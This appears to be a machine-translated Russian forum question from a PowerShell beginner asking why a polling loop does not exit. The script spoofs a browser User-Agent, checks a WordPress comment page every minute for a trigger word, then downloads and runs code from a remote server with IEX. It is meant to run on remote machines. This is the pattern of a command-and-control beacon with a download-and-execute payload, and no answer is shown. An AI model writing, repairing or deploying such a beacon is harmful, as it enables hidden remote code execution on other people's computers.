Я совершенно новичок PowerShell, поэтому, пожалуйста, будьте снисходительны;)
Я пытаюсь написать скрипт, в котором машина проверяет внешний веб-сайт в ожидании слова "тест" для выполнения загрузки. Все идет так:
$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True) {
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If ($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
#Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}
Я использую PowerShell 2.0. Windows 7
Что случилось:
- загрузка не выполняется через интернет
- это не проблема, исходящая от IP-адресов или путей
Что я сделал дальше:
- Я непосредственно пишу различные команды в командной строке powershell:
-> while ($ True) инициирует бесконечный цикл, не выходя из него.
Чтобы сделать трюк, мне нужно "дважды щелкнуть на клавиатуре и вернуться", окончание цикла и команда "downloadstring" наконец выполнены.
Помнишь, я больше, чем новичок, верно? :(
- Я пытался "прервать", "вернуться" или "выйти", но невозможно выйти из цикла.
- Я пытался вставить много двойного возврата каретки в мой сценарий, но безуспешно.
Кто-нибудь, пожалуйста, укажет мне способ сделать эту простую вещь ...? :)
Большое спасибо.
ОБНОВЛЕНИЕ Эти маленькие строки должны использоваться разными людьми в разных местах (это одна из причин депортированного веб-сайта), и у меня просто нет возможности обновить удаленные машины до более новой версии powershell. Если у кого-то есть гуру Microsoft PowerShell в его контакте, это будет просто огромная помощь. Спасибо всем, ребята.